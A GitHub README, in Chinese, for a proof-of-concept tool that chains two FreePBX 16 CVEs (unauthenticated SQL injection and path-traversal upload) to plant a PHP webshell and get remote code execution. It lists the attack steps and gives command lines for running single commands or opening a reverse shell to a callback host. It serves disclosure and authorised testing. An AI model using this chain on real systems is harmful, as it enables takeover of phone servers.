TYehan/CVE-2025-57819-FreePBX-RCE-Exploit

GitHub: TYehan/CVE-2025-57819-FreePBX-RCE-Exploit

结合 FreePBX 16 的 SQL 注入和文件上传漏洞实现从零权限到远程代码执行的 PoC 利用工具。

Stars: 0 | Forks: 0

# FreePBX 16 — 未授权 SQLi 到 RCE 结合两个 FreePBX 漏洞的概念验证 exploit,从**零访问权限**实现 FreePBX 16 上的**远程代码执行**。 | CVE | 组件 | 影响 | |-----|-----------|--------| | **CVE-2025-57819** | Endpoint module loader (`brand` 参数) | 未授权堆叠 SQL 注入 | | **CVE-2025-61678** | Endpoint Manager 固件上传器 (`fwbrand` 参数) | 认证后任意文件上传(路径遍历) | ## 工作原理 1. **创建管理员 (CVE-2025-57819)** — 可在未经身份验证的情况下,通过命名空间 endpoint loader 访问的堆叠 SQL 注入,用于将全新的完全权限管理员直接 `INSERT` 到 `ampusers` 表中。 2. **身份验证** — PoC 以新创建的用户身份登录管理面板。 3. **投放 webshell (CVE-2025-61678)** — 滥用 Endpoint Manager 固件上传处理程序,在 `fwbrand` 中使用 `../../../var/www/html/` 遍历,将 PHP webshell 写入 web 根目录。 4. **执行** — 运行单条命令或接收交互式 reverse shell。 ## 受影响版本 FreePBX 16(Endpoint 模块版本低于 `16.0.92`)。在 `17.0.6` 版本中也已修复。 请更新至已修复的版本。 ## 环境要求 ``` pip install requests pwntools ``` ## 用法 ``` # 单条命令 python3 exploit.py --rhost pbx.example.com --command "id" # 交互式 reverse shell(通过 pwntools 自动监听) python3 exploit.py --rhost pbx.example.com --lhost 10.0.0.5 --lport 4444 # 纯 HTTP / 自定义端口 python3 exploit.py --rhost pbx.example.com --http --rport 80 --command "uname -a" ``` ### 选项 | 标志 | 描述 | |------|-------------| | `--rhost` | 目标主机(必填) | | `--rport` | 目标端口(默认为 `443`) | | `--http` | 使用 HTTP 而不是 HTTPS | | `--lhost` / `--lport` | Reverse shell 回调地址 | | `--command` | 运行单条命令而不是 shell | ## 免责声明 此概念验证仅严格用于教育目的和授权的安全测试。它仅适用于您拥有的系统,或者您已获得明确、有据可查的书面测试许可的系统(例如:授权的渗透测试、范围内的漏洞赏金计划或 CTF 环境)。 未经授权访问计算机系统在大多数司法管辖区都是违法的。作者及任何贡献者均不承担任何责任,也不对因使用本软件而产生的任何滥用、损害或法律后果负责。使用此 PoC 即表示您同意,您需对确保自身拥有测试目标系统的合法权利负全部责任。 ## 许可证 本 PoC 按“原样”提供,用于教育和授权安全测试目的,不提供任何形式的明示或暗示的保证。作者对因使用本 PoC 而造成的任何直接、间接、附带或后果性损害不承担任何责任。 ## 关键词 FreePBX · FreePBX 16 · FreePBX 16.0.40.7 · Sangoma PBX · Asterisk · CVE-2025-57819 · CVE-2025-61678 · 未授权 SQL 注入 · 堆叠查询注入 · endpoint module · Endpoint Manager · 认证后文件上传 · 路径遍历 · 远程代码执行 · RCE · PoC · exploit · VoIP 安全 作者 [TYehan](https://tyehan.github.io/)
标签:CISA项目, FreePBX, 编程工具, 远程代码执行, 逆向工具